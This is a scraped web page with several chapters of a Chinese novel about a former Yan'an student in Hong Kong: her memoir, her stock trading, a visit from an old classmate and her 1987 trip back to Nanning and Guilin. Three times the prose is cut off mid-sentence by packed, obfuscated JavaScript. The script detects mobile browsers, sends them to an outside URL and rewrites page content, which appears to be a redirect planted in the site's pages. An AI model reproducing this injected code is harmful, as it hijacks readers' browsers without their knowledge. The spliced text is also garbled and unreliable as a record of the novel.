自从离开延安,这些年自己一直迷惘,革命为自己指出的道路,是当一个战士,一个男人,然而几十年过去,梅思已经知道,自己终究不是男人,或许原因在自身,小资产阶级的妥协脆弱,让自己不能如同无产阶级妇女同志那样,毫无畏惧地去斗争,任何危险面前,从来不会后退一步,可是回到国统区,却发现回归的是一个彻底的女人位置,几千年来男人给女人安排的身份,一个工具,一个玩物。 不能够作男人,也不甘心当女人,就这样陷于惭愧与彷徨之间,寻遍了所有的革命理论,导师言辞,都找不到解脱自身的方法,所以不由得梅思不感到茫然了。 方才,许卓瑛教授问她对国共两党的看法,她忽然间便闪现一个念头,或许两边本来便都不是女人的路? 听了梅思的话,许卓瑛笑了一笑:“看来梅小姐是不想在两方之中做选择。” 中共如今是中国第一大党,自不必说,国民党这些年虽然式微了,却也曾经独大,两党尖锐对立,那个时代的人,往往不是支持这一方,就是支持那一方,设身处地,她们也难有别的办法,中立看似明智清醒,其实往往很孤立,鲜有同伴。 然后许卓瑛道:“前一阵读到《延安日记》,当局宽容这本书,起因不必推究了,却意外保存了一部文献。” 真的是宽容,就好像“联俄容共”一样,容忍这本日记的存在,很旧的一本书,从前居然没有读过,与一位已经退休的朋友谈起,对方是文学专业,回忆往事:“当年啊……欲抑先扬啊……” 利用来宣传质疑中共,倒是很好的,开篇是多么的昂扬,后面落差就会有多大,实在太低徊了,□□斗争让人恐惧,从文学角度来讲,给人强烈的感情冲击,触动效果相当的好。 三个人谈论延安,又说国统区,回忆那个年代,娓娓一直谈到傍晚,许卓瑛看一眼墙上的挂钟,笑道:“已经过了五点,请留下来吃饭。” 梅思笑着推辞:“太客气了,今天很是打扰,不麻烦了。” 许卓瑛一乐:“不麻烦的,刘嫂,给客人准备晚饭。” 一个四十几岁的女人从厨房探出头来,大声答应:“就知道教授要留客人吃饭,已经在弄了。” 梅思笑着问:“在家里也称教授么?” 许卓瑛扶了一下架在鼻梁上的眼镜:“总比叫太太的好。” 何思连微微点头:“许教授是女界先锋,很支持妇运的,这些年一直在提女性的议员席位。” 梅思一个念头在肚内转了几圈,终于冲出嘴唇:“倘若许教授恰逢那个年代,不知会不会向往延安?” 当年延安女学生之中很流行的,“开展政治地位”,又想到了熊晖。 何思连面露诧异,斜睨梅思一眼,仿佛在怪自己的小姨有些冒失,许卓瑛倒是并未介意,哈哈笑起来:“很有趣的设想,有时候我也在想,倘若早生十年,是不是也会去延安?” 真的很难讲,自己今年五十一岁,四十年前延安正在轰轰烈烈的时候,自己不过十岁,去延安还早呢,延安虽然热烈欢迎女青年,进步女学生,但如此幼小的自己,对延安显然不会有很大的作用,自己在那个年龄,也想不到要去延安,然而倘若提早十年出生,那是正是十几二十岁,一个女子人生中最美好的年华,在延安无疑如同油锅里落入一滴水,缓解了那种灼热。 当天在许卓瑛家中用过了晚饭,梅思与何思连才回去,一进门,柏翠就把正吃着的莲雾放下,从沙发上立起身:“啊呀你们回来了,小妹,和许教授谈得怎么样?能出书么?” 梅思笑道:“姐姐呀,只是初次见面,聊聊天而已,哪里就能谈到写书的事?” 何思连补了一句:“不过小姨与许教授倒很是投机,不管最后结果怎样,能认识一个新朋友总是好的。” 之后一个月,梅思三两天就与许卓瑛见面,多数不是在家中,而是相约咖啡馆,八月下旬,这一天在茶座里,许卓瑛对梅思说:“梅小姐,希望你能写一本书,回忆延安,我来推介出版。” 回来家中,梅思便把这件事告诉了柏翠,柏翠喜出望外:“总算等来她这句话,我这心一直悬着,小妹,你一定要抓住机会,难得这个好机缘,出一本书,冷气机微波炉都能添置,也好买几件金银首饰压箱底,阿弥陀佛,天知道什么时候又要逃难呢!” 何思连坐在摇椅上,摇了摇头:“中共已经改弦更张,改革开放了,一心走经济路线,要开战不很容易。” 不要总是这样惊慌啊,整天都担忧共产党要打过来,已经这么多年了,还想着逃难,可见当年惊恐太深,久久不能淡忘。 柏翠白了他一眼:“天知道将来怎么样呢,两边就这么含含糊糊的,也不和,也不打,就这么吊着,早晚有事端。” 梅思轻叹一口气:“只是我总觉得不太安心。” 柏翠登时记起她之前的顾虑:“这样学术,未必有多少人读……” 这一阵听丈夫的意思,许教授是希望小妹写一本比较认真严谨的回忆录,作为历史资料来保存,不是茶余饭后消遣的小报风格可比,这样一来,只怕买书的人就少。 梅思蹙眉:“不是读者多少的问题。” 是关乎原则立场,虽然台湾这几年,独裁统治看起来确实松动,□□很是蓬勃,许卓瑛也说:“大势所趋。” 不过毕竟是国民政府的天下,自己在国民党的地盘,出版《延安回忆录》,瓜田李下,终究有嫌疑,不很清白了。 何思连笑道:“许教授不是答应,不擅自改动里面内容?” 尽量保持回忆录的原貌,如果要修改,会事先与梅思商量。 一听这两句,柏翠眼珠一转,马上转了口风:“既然如此,你有什么可顾虑?我想你的书里,一定不会全说共产党的不好,也不会说国民党是怎样的好,不偏不倚,别人能怎样讲?况且你能在台湾出书写延安,中共知道了,也会觉得给他们挣了面子,更是给女子争气,这本书一定要好好地写,写得痛痛快快,那才有趣。” 梅思:姐姐,你原来是一个如此有权谋的人,设想了如此高明的政治宣传策略。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886477|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 九月初,敲定了稿件的事,学校也开课了,梅思便辞别柏翠与何思连,回到香港,打开石硖尾的家门,把行里丢在地上,顾不得多看一眼,便进入梅林,急不可耐地誊写稿件,是在船上匆匆写的前言:“……许教授勉励我,‘这么多年,人自然会有新的想法,况且日记不会记录所有,肯定有一些是没有写在上面的,经过四十年沉淀,到了写回忆录的时候’……” 写着写着,她抬起头来,真的快啊,转眼四十年了。 石硖尾的光阴如同电影剪影,三年之后,一九八六年,贺健莲依然卖凉茶,梅思也依然整日跑交易厅。 四月二号这一天傍晚,梅思从外面回来,路过凉茶铺,贺健莲远远地就招呼:“她梅姨,你回来了!来喝一杯茶!” 梅思笑盈盈走去坐下来,不等她多说,面前便是一杯罗汉果雪梨茶。 贺健莲乐呵呵道:“今儿可热闹?” 梅思喝了一口雪梨汤,点头道:“第一天开门呢,人山人海,原本四个会的人都凑到这里来了。健莲姐你可惜是要守着铺子,没有去看,不然你肯定开心,比过年还热闹呢。” 贺健莲拍手大笑:“我可不是挺想去?只是脱不开身。这下可好了,四家合到一起,以后挑股票,再不用跑这家问那家的了。” 两个人谈着四会合一,香港会、远东会、九龙会、金银会合并为联会,以后买股票更方便了。 梅思说:“恒生指数一直在涨。” 贺健莲低头盘算:“再投多少钱进去好?该买哪一只?” 两个人便谈股票经,贺健莲如今已不是委托梅思操作,几年前筹措了资本,二番入股市,她便自己买卖了,毕竟这么多年看梅思交易,早已经熟悉了。 忽然间有人招呼:“梅姨,健莲阿姨,在谈天?” 贺健莲连忙抬头:“啊呀彩霄,下班回来了?吃过晚饭了没?” 彩霄笑道:“在外面吃过了。” 贺健莲絮絮道:“你们年轻人,就是不愿意自己煮饭,其实时间还早啊!又比不得那些工厂,九十点才收工,你每天回来,天还没黑呢……” 彩霄嘻嘻笑着走过去了。 梅思乐着说:“现在和从前不一样了,在外面吃很便利的,也不是很贵,省了煮饭的时间,好好休息,第二天再努力做事,倒也划得来。毕竟与我们不是一代人,想法不同。” 贺健莲望着彩霄闪进楼门的背影,叹道:“年轻真是好啊,人老了,就喜欢看到年轻人,彩霄搬回来住,蛮好,免得你那楼里面都是生面孔。” 梅思笑道:“彩霄已经搬来两年,这楼里当初的新人,也早就成了旧人,你还在念叨。” 彩霄啊,也不很年轻了,已经过了四十岁。 联交所成立,梅思如鱼得水,如今报价都是统一的,不用比来比去,买卖股票省心了许多,劲头更足。 七月十八号晚间八点多,梅思下了巴士车,一路脚步轻快,进了楼门,迎面撞见彩霄:“梅姨,你回来了,比平常晚了些,有好事情?这样开心!” 梅思呵呵地乐:“在外面吃了饭,又看了电影。今天很好,买了‘大家乐’的股票。” 今日第一天上市,自己买了两百股,心情好,便出去庆祝。 彩霄笑道:“‘大家乐’么?她家倒蛮好,我一些朋友常在那里吃饭,想来股票能涨。” 梅思点头:“我也是看中这一点,才买她家的股票。” 香港这样小的地方,上市股票数得过来,只是即使如此,自己也不是全能晓得,报纸上倒是有各只股票的评论,都是专门人员在分析,很是专业的了,然而毕竟不是自己亲身调查得来,梅思还是希望对自己交易的股票,能够有更多了解,“大家乐”她是知道的,港岛各处开许多分店,自己去过的几家店,客人都很满。 梅思望着彩霄手上的提包:“出去玩么?” 彩霄笑道:“有人想请我画封面和插图,现在去谈一下。” 然后赶快又说:“之前有人找你,说明天还来的,我上楼的时候,正看到她塞一张便条到你门缝下面” 梅思一愣:“是谁?是白太太么?是东妹姐么?” 彩霄笑着说:“不是熟悉的人,那些我都认得的,今天来的这一位,是讲国语的,仿佛是大陆来人。梅姨我先走了。” 梅思一摆手:“你快去忙吧。” 彩霄踩着皮鞋,噔噔噔走掉了。 梅思有些心不在焉地上了二楼,开了自家的门,开了客厅的灯,门内地上果然一片白纸,她拾起来,站在灯下一看:“黄菲老友:今天到访不遇,明天上午十点再来,不知可在家否?熊晖” 梅思心头登时如同滚水一般翻腾开,熊晖,老同学,是她来了! 99.第九十九章 故人相约 第九十九章 故人相约 “老同学,你如今在两岸三地,成了不大不小一个名人了啊!” 小小的客厅里,熊晖捧着茶杯,含笑说道。 梅思轻轻摇头,笑容有些尴尬:“你不要挖苦我了。” “诶,不是这样说。”熊晖一摆手,“你那一篇回忆录,写得蛮好,不但港澳台,国内也有了影响,上级很是关注,说你的‘角度不同’呢。” “资产阶级女权”,领导的原话,“‘资产阶级女权’当然不是妇女解放的根本道路,但确实能够看到我们不容易注意的角度,很新颖,让国外的人对延安发生兴趣。” 延安啊,红色的光芒随岁月逐渐退去,看一看如今世界的变化,中国自从三个巨人倒下,政策发生巨大改变,苏联的戈尔巴乔夫,正在推进体制改革,眼看社会主义阵营已经分崩离析,步步退却,美欧资本主义则是越来越兴盛,两边对比之下,怎不让人失落?这种情况下,有人写出这样一本独特的回忆录,唤起外界的兴趣,把目光重新投向延安,投向中国革命,不能不说是一件好事。 梅思苦笑一声:“能够有这样一点点作用,倒是也好了,我写这一本书,一是胸中有话,不吐不快,二也是赚一点版税,你知道的,香港物价贵。” 熊晖点了点头:“是比国内贵一些,物资丰富。” 资本主义的香港,物质上确实充足,走在九龙旺角,商店橱窗让人眼花缭乱,就连自己,有时候都会心动,倘若是政治信念不很坚定的人,来到香港,容易沉迷其中,真是个纸醉金迷的地方,还有红灯区呢,这在国内哪里见过? 又说:“要靠养老金在这里生活,只怕有点难。” 梅思笑问:“你退休了没有?” 革命老干部,退休金比较高吧? 熊晖一笑:“本来是想要退下来的,不过组织上看到我还有一点经验,便让我发挥余热,再干几年。” “你现在是做什么工作?” “在统战部。” 梅思笑笑,不说什么,客厅里一时安静下来。 熊晖随意往桌面上一看:“呀,在写稿子么?你一向的速记,实在认不得,写的什么?” 梅思拿起那张纸:“是给报纸写的杂文,说这美荷楼的住客变迁。” 美荷楼早已不同昔年,自从改建之后,许多旧住户都没有迁回来,再住进来的多是出社会不久的年轻人,又或者是老年人,孤身或者夫妻两个,没有儿女,这样小房屋倒住得开,俨然便是青年人的宿舍,老年人的养老所。 熊晖视线一扫房间,一览无余,倘若梅思从前没有离开延安,一直坚持下来,她如今在国内分配的房屋,总得有两室一厅。 谈了一阵香港见闻,又谈昔日故旧:“教育长让人痛心。” 熊晖面色瞬间黯然:“听到消息,不敢相信,细想却又不意外,她是那样刚烈的性情啊,不能够蒙受这样的冤屈,前几年总算平反,没有一直带着污名。” 女子大学教育长张琴秋,一九六八年自杀,一九七九年恢复名誉,算是唯一的慰藉。 梅思点点头:“她的性格是这样,我总以为,但凡能够参加军队,走上烽火战线的人,多少都带有这样的决绝。” 共和国的女性领导人,有一些颇为大名鼎鼎,但多数是在后方,做一些文职,又或者妇女工作,都是在传统女性职责的领域,唯独教育长,她是在军事部门,作战部队,直接参与了战争,梅思对敬爱的教育长的过往,记得清清楚楚,红四方面军总政治部主任,西北局委员,文武全才,是女大许多学生崇敬仰慕的对象,虽然已经与延安越来越远,张琴秋的死仍给梅思强烈的刺激。 熊晖望着她:“其实你也是很决绝的。” 梅思微微一愣,摇头道:“我不过惊弓之鸟罢了,因为不够坚韧,所以总是在逃离。” 熊晖慢慢地说:“然而你坚持下来了。” 从另一方面来讲,却也是明智,教育长太刚强,“过刚则折”,而自己的老同学虽然看似柔糜,却存在到如今。 虽然仍有着坚定的信仰,几十年风风雨雨,熊晖却也变得圆融,就好像新女性旧女性,其实变来变去,昨日进步的新女性,可能忽然就成为落后的旧女性,而新女性也未必总是为人推重,而抗争与逃避这两条路,从眼前看来,也不是一定哪一条就更好一些,教育长可歌可泣,梅思则仿佛是苟活,可是她还活着。 又说起昔日同窗:“当年我离开桂林,露云来送我,我们谈了好多,那天还有沈芒。她们现在怎么样?还在南宁么?” 熊晖动了动嘴唇,又闭上嘴,片刻之后才说:“露云啊,她已经与沈芒分开了,如果你要回故乡看看,可以去找她,她离休之后,还在南宁。” “哦?”梅思有一些惊异,脑中倏忽掠过当年相见的场景,隐隐恍然:“竟然是这样。” 不知不觉便到了午间,梅思早有准备,自然留饭,打开冰箱来,熊晖向里面一望:“哦豁,好多蛋。” 冷藏室里面满满一篮青皮蛋,个头挺大,不太像是鸡蛋。 梅思笑道:“鸭蛋虽然有一点腥,加黄酒炒来吃也还好,幸好你来了,多吃几个,放久了都坏了。” 大瓷碗里打散四只鸭蛋,开水汆烫了小菠菜,切碎和鸭蛋炒在一起,不多时蛋液凝固,盛在盘中,金黄碧绿。 又炒虾仁,炒豆芽和白菜,番茄豆腐汤,齐齐整整端上桌面,熊晖一看,噗嗤笑出来:“中央招待餐的标准,四菜一汤。” 梅思笑道:“我已经预备好了,晚饭有羊肉,这些年我烧羊肉是一把好手。” 熊晖道:“我坐不到那样久,两点钟就要走了,下午还有事。” 梅思很是遗憾:“你明天还来么?” 熊晖笑着说:“只要你有时间。” 梅思连连点头:“有时间的,大把时间,明天你来,我们谈一天。” 第二天七月二十号,熊晖果然又来,依然是十点登门,这一天她在石硖尾这简陋的小楼里,待了整整一天,与梅思促膝谈心,梅思从早上便炖一锅羊肉,到午间已经烂熟,两个人午饭吃羊肉,晚餐香酥鸭子。 一边撕着鸭肉,梅思一边问:“明天便要走了么?” 熊晖点头:“这一次时间短,不能待很久。” 梅思怅然道:“真舍不得你,我还有许多话,没有同你说。” 熊晖笑道:“其实也容易,你回去国内,就住我家里,有多少话说不得?如今国内政策开放了,欢迎海外同胞,要住多少天,就住多少天,只怕你挂念股票上的钱。” 梅思乐道:“能有多少钱?丢在那里便罢了,若不是为了打发时间,我也不会天天去看,每天看报纸就够了。” 香港这一阵股市平稳,梅思有心长投。 熊晖放一枚蛤蜊壳在碟子里:“真没想到你居然会去买股票,以为你会终身做速记。” 又或者别的什么,只都是凭劳力赚钱。 梅思笑一笑:“我从前也是没有料到的。” 又说:“明天我去送你。” 熊晖很快离开香港,送别了老同学,梅思回到家中,久久不能平静,熊晖的提议打开了心头一道闸门,思念如同洪水,汹涌奔流,她素来知道,多情善感是伤人的,对于女子尤其有害,以是离乡多年,一向克制,若发现一点点思乡的苗头,便严厉压制下去,然而这一回见了熊晖,那一向严格的约束便不能再继续,陡然喷涌出来,几乎淹没了她。 说是“几乎淹没”,是因为梅思这一回终究没有那样决然,义无反顾立刻行动,她思量一番,先去找白明珠:“前些天有大陆来的旧交,说如今国家政策变动,欢迎我们回去看看呢。” 白明珠一双眼倏忽机警:“延安的人么?” 梅思点头:“女大的同学。” 白明珠腰身在沙发里猛地一挺,整个人如同个弹簧,只差立时跳起来:“真的么?她们派人找你来了啊!这么多年,终于想起你来了,是请你回去么?我就说,本该的,毕竟也为共产党辛苦这么多年,没有功劳也有苦劳,很该接你回去养老,你一个人在这里,如今还好,年纪再大些,可怎样办?我是看明白了,儿子女儿都靠不着,等我动不了了,还不知怎么样,要去安老院么?看一看大夫人,在美国那样好,她的儿子做商人,能赚钱,好日子的时候,她在那边还住不得,幸好回来得早,有体面,倘若是这个时候再回来,不很好看的。” 梅思一时间颇觉沧桑,虽然白明珠是猜岔了,不过一番慨叹,却颇有兴亡之感,在香港的广西同乡互通声气,桂系豪杰的情形传递很快,李秀文的独生公子没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894049|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有效仿其父从军从政,而是选择了经商,本来都在赞叹他明智,还是商业比较安全,他又有头脑,事业有成,在美国是个成功的商人。 母亲归国的时候,公子的公司其实还好,毕竟没有亏损,但后来明显不行了,去年再撑不下去,他已经是六十几岁的人,便关门大吉,假如大夫人是这个时候才回来,该有多落寞呢。 白明珠絮絮地依然说:“人家说‘商场如战场’,果然不错,本来好好的,忽然就不行了,谁想到日本人竟然起来了呢?把旁人挤下去,真亏了他苦撑这么多年。我们现在虽然日子还好,只是‘天有不测风云’,况且再怎样也比不过大夫人,她尚且待不下去,何况是我们,若国家肯接受,我们回去也好。” 股票市场又好了,这一回邹千里是有了教训,不肯再借钱炒股,赚了钱把欠债还上,便只用自家的钱交易,白明珠还时常提醒他:“不要把家里的钱都押进去啊!” 邹千里不耐烦:“你当是赌场押宝么?” 白明珠撇嘴:“我看也差不多。” 又有一件事,这几年毕竟年纪大了,时不时这里痛那里病,要去医院,香港的医院与美国差不多,都是贵,这是说的私立医院,至于公立医院有没有呢?那是有的,而且也便宜,一般人完全负担得起,只是慢,做一个小手术,都要等半年,这还是短的,去年自己要做个阑尾炎手术,去玛丽医院预约——就是萧红住过的那家医院——结果给排到了十七个月之后,自己的阑尾那一阵时常痛啊,本来好好的,突然间便会疼起来,一心巴不得赶快做手术割掉,从此移除一桩隐患,要等一年多,这十七个月不知会发生什么,哪里等得起? 于是便只好去私立医院,开肚子割阑尾三天就出院,就这样还花了一万多块,对比公立那几乎买白菜一样的价格,这钱花得肉痛,白明珠是捂着心脏回的家,儿女们倒是送了钱来贴补,然而自家终究大大的损耗,白明珠在家中休养,好一阵才恢复,花钱和手术都让她伤元气。 因此便愈发时时想起大夫人李秀文:“回国真是好,政府照应周全,哪里不舒服呢,马上就有大夫到,香港要请医生到家里来,得花多少钱呢?现在报纸上动辄就说,香港经济好,已经要追平欧美,我看香港人的荷包倒还罢了,这看病的钱真是要赶上欧美,只怕还超过了,难怪大夫人要回老家去。” 在美国,一副假牙五百美金啊,也难怪她在那边住不得,赶快回国去了。 此时听到延安老同学来找梅思,白明珠触动心事,大大地发挥了一番:“这样无忧无虑,‘心宽出少年’,自然康健,如今已经过了九十岁,前一阵小报还造谣,说已经没了,引得大夫人出来说话,身体还硬实呢,这帮人,就是看不得人家好。” 末了眼瞅着梅思:“终究还是你有主张,当年投奔了那样一个希望,如今便有退路,像是我们,要回去也找不到门路,哪有人引荐哦!” 梅思哭笑不得,慢慢喝着茶,等白明珠终于把这一大篇话说完了,情绪稍稍回落,这才说:“她也不过是说让我回去看看,至于归国度晚年,一时还很说不到那里。” 白明珠并未泄气:“自然不能那样快便定下来啊,你先回桂林瞧瞧,那边究竟怎样了?若是果真好住呢,便仔细琢磨下,不成也没什么,我们如今在香港,也还能过得去,谁也不是天天生病呢。你这次回去了,可得各处多走走,拍些照片,带回来大家看看,这么多年,做梦都想桂林的山水,漓江啊,是那么样的清,独秀峰啊,是那么样的绿……你若是懒得买相机,我家里现成有一部,这几年少有人用它,你带了去拍照,胶卷我也买给你……” 听她说到如此细节,梅思不由得失笑:“太太啊,还不知是否回去,几时成行,哪里就谈得到相机胶卷?好像我明天就要起身一样。” 白明珠也笑:“提前筹划下,免得临时忙乱。要说日本人造的东西,确实精巧,照相机,她们能做成这么小一个,带着轻便,当年德国人的莱卡,重死个人咯,偏偏我家先生舍不得它,从桂林一路带来香港,装在箱子里沉甸甸。现在的这一个,对焦也简单,我上手没多久就学会了,你要是想学,我教你,虽说是容易,不练练也不行呢,我刚开始摆弄,照出来的人和房子都是重影……” 梅思捧着茶杯,咯咯不住地乐,仿佛果真就要成行了一样。 100.第一百章 归来 第一百章 归来 梅思早已不是一个冲动的人,熊晖是在一九八六年七月邀请她,她筹谋到第二年的五月,才终于登船去往广州,在广州没有多做停留,第二天便搭乘火车去南宁,先去找陈露云。 循着地址,梅思换了几次巴士,终于找到一栋已经显得陈旧的楼,是老干部楼,陈露云就住在三楼,梅思望着斑驳的门牌,“302”,抬手拍了几下门,不多时里面就有人应声:“是黄菲吗?你等等,我来了!” 然后是匆忙的脚步声,不多时门便打开了,一张微胖的脸出现,梅思仔细辨认:“露云,你还是当年的眉眼。” 陈露云也在她脸上用力盯了两眼,笑着请她进门:“快进来快进来,黄菲,你也还没变啊,一眼就认得出来。” 梅思走进客厅,坐在沙发上,陈露云忙着倒茶切水果:“去年熊晖那一天打电话来,说找到了你,我就盼着你能回来,时隔这么多年,哪想到还能有联系?幸亏了你那一本书,知道你还在香港,自从当年你一去,这些年时时想起你,不知你在那边怎么样。如今看起来很好……” 把果盘端到梅思面前,陈露云又上下打量她几眼,乐道:“归国华侨了!” 梅思差一点把刚喝到嘴里的茶喷出来:“露云,你如今也这样促狭!” 陈露云哈哈地笑:“难道不是么?你看看你这一身,也算是‘衣锦还乡’了。” 旗袍皮鞋,头上的珍珠发簪,腕上的手表,这在如今的国内,相当时髦,尤其是旗袍,经历了数十年红色洗礼,虽然改开十年了,但走在街头,看到有人穿旗袍,还是很显突兀,一看就是从外面回来的,可以说黄菲这一身,浓浓的资本主义与封建主义的重叠气息。 待客该有的东西都摆在桌上,陈露云便在梅思身旁坐下来,乐呵呵地说:“昨天一接到你的电话,我就在想,你总算是来了,真亏了你能沉得住气,自从熊晖去找你,到现在一年了,你才肯动一动,我本来还以为你去年就会回来,哪知这么久,我都以为你不来了,再不盼望的时候,你却一通电话过来。” 梅思笑道:“总要准备一下。” 陈露云微微一撇嘴:“又不是要见公婆,有什么可准备的?” 梅思笑着望向四周:“房子很大。” 陈露云道:“三室的,如今我一个人住,你也晓得吧,我离了婚,沈芒回东北老家去了,我在南宁住惯了,也不想回上海,毕竟儿女们都在这里,就留在南宁。” 她如此坦荡,梅思反而不好立刻就问,望着阳台道:“花草照料得很好。” 陈露云满不在乎地说:“是么?我现在就指着它们打发时间了,熊晖是退而不休,我可做不到,这么多年实在很累了,就想清闲清闲。听熊晖说,你如今‘钻研金融’了?” 梅思差点给自己的口水呛到:“你们一个个拿我开玩笑,我为了生活,才买股票。” 作为一个极度崇尚竞争的地方,香港没有退休制度,每个人都是耗尽青春的血汗,存储老年的口粮,在这样的缺乏保障之中,每个人望向未来,都感到“惘惘的威胁”,少不得便要你追我赶,如同身后有看不到的鬼魅,只有尽力奔跑,才能躲避危险。 陈露云心中有话,嘴里没说,倘若你当年不走,到如今起码厅局级,哪里需要筹划养老的费用?听熊晖说,在香港住小小的一室一厅,如果经受住考验,现在怎么会这样局促?资历摆在那里,哪怕只有一个人,也要住两室三室,一个卧房一个书房,第三间是给保姆的,虽然未必到配保健医的级别,老干部生了病,找医生方便,你这些年住香港,那地方倒是纸醉金迷,可有多少是你的? 陈露云心思转动,最后说出的却是:“国内也要开股市,到那时要听你好好说说。” 又问:“行李在哪里?” “在旅馆。” 陈露云忙道:“快搬过来,到了这里,哪能让你住旅馆?” “只怕打扰你。” 陈露云哈哈笑:“你这些年别的我不知道,倒是把资本主义的繁文缛节学了个十成十,看看你这个客气,我一个人住,你又不是天长日久住这里,虽然是老同学,两个人忽然间要住一起,也不容易,总得互相适应,你在这里不过十天半月,有什么打扰?三间房两个人,难道还怕住不开?” 梅思噗嗤一笑:“我去退了房间,把东西搬过来。” 多年不见,起初难免生疏,梅思之前还有些顾虑,只怕陈露云还如同当年一样,每个细胞都是“党性原则”,那还真有点难说话,不过说了一阵话,梅思发现,或许是这些年经历了许多风波,陈露云变得爽朗,在原则性方面不那么拘泥了,虽然还算不上多么豁达,但变通了许多,于是两个人谈话便很放松,从午后谈到傍晚,一起进厨房烧饭,便煮饭边谈,吃过了饭看电视,一边看一边谈: “如今国内开放很多了,能看美国片。” “改革开放嘛,当年我们就看<追捕>了。要说外国人的片子,也有她们的一套,<神探亨特>挺好看。唉,你在香港,要去美国日本都容易吧?有没有想过去那边看看?” 梅思哈哈地笑:“护照容易,钱难办,不过家里倒是有美国日本的东西。” 一直到躺在床上,还在说话:“可得多住一阵,多少年不回来了呢。” “大约总要一两个月,少不得麻烦你,要去的地方也不少,过两天先回桂林,再去江陵,然后回延安看看。唉,老同学,有一件事要拜托你。” 一听她这句话,黑暗之中,陈露云的眼睛倏地就亮起来,如同两个灯泡,肩膀一耸,差一点便要撑着床板坐起来:“要做什么,你尽管说,哪怕我办不到,再托一托别的同学。” 毕竟也是正厅级呢,虽然已经离休,在旁人看,少不得“人走茶凉”,不过在南宁总有几分薄面,纵然自己做不到,熊晖高明霖她们都还在任上,找她们就好了,辗转相托,总能有几分指望,海外归来的人,一般来讲少有要钱,多数是要找人。 梅思仿佛有些为难:“要麻烦你帮我找一个人,叫做钟坤,从前是国军的军官。” 陈露云毫不犹豫:“明天把名字籍贯写给我,我让人去找。” 又细问缘故:“你怎样认识的他?有些什么过往?” 梅思拣重要的说了。 陈露云听完,咯咯地乐:“倒是乱世中一段奇缘,你怎么到这时候才说?要是白天说了,我当时就打电话找人,你可也真是,整藏了一天,到这时候吹枕头风呢。” 梅思笑得胸口疼:“这就是贵妃与明皇。露云,你与从前不一样了。” “哦?从前怎样,现在又怎样?” “当年我离开桂林,那时你很严肃的,现在放松了许多。” 昏黑之中,陈露云默然片刻,语声低落下去:“只可惜我现在才明白了。” 梅思听她的话头,仿佛要诉说心事,斟酌一下,终于问:“露云,你和沈芒,到底是怎么回事?” 陈露云叹息一声:“我万万没有想到,到了这个年纪,居然离婚,简直晴天霹雳,太痛苦了,之后我仔细想想,这件事主要怪我,是我没有处理好两个人的关系,我把婚姻也当做了革命工作,事实上,组织终究不能够解决一切,走到这一步,是我咎由自取,获罪于天,无所祷也。” 梅思头脑一动,“天字出头”。 在陈露云这里住了两天,五月十一号礼拜一,梅思便乘火车去桂林,中午上车,第二天下午到了桂林,在这里,便需要住旅馆。 三十年后重临桂林,梅思热血上涌,在旅馆休息一天,第二天便找了旅行社,游漓江,又委托侨办寻找吴美霞,然后便搭乘客车去平乐。 县城虽已改变,街道依稀相似,循着记忆中的路径来到宅前,昔日的黄家大院,向来紧闭的大门此时敞开着,只是红漆都剥落了,院内场景清楚可见,从前是草坪的地方,现在是菜地,种满了茄子黄瓜小白菜。 梅思抬起脚,恍恍惚惚走进去,水井旁边,有两个三四十岁女人在洗衣服,看到陌生人进来,一个妇女睁大了眼睛仔细打量:“你是谁?找哪家?” 梅思道:“我从前住在这里。” “哦,老邻居啊,哪年搬出去的?我从小就住这,二十几年了,怎么没见到过你?” 另一个女人显然脑筋更快一些:“啊哟,你是黄家的人么?当年这是你家的房子么?你从外国回来了?” 虽然已经几十年过去,本地的掌故依然流传,这一片大屋,依稀听闻,从前是姓黄的大地主所有,看来是他家的后人回来了,不过也这么大年纪了啊。 梅思简单地说:“我从香港来,黄老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900272|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷是我母亲的丈夫。” 那女子放下手里正在搓洗的衣服,站了起来,笑道:“原来是黄家的大小姐,快请进,我带你看看这些房子。” 梅思笑着问:“有劳了,您贵姓?” “真客气,我姓程,你叫我程嫂就好。来来来这边是正房,从前都是太太小姐们住的吧?房子真好,又结实,又明亮,但凡能住这里的,都是好成分……赵阿姨,开门,有客人来了!原来黄家的大小姐,从香港回来的!” 门嘎吱一声开了,一个六十几岁女人的脸露出来,望了望,冲着梅思一乐:“快请进!” 梅思随着程嫂踏进门内,四面环顾,昔日母亲的房间,早已经变了样子,门前是脏水桶,扫把拖布立在墙角,掉了漆的木质脸盆架,上面放着搪瓷洗面盆,椅子上乱丢着衣服,还有一沓过了期的《广西工人报》,封面破损的《上海电影》,散乱地堆在一起。 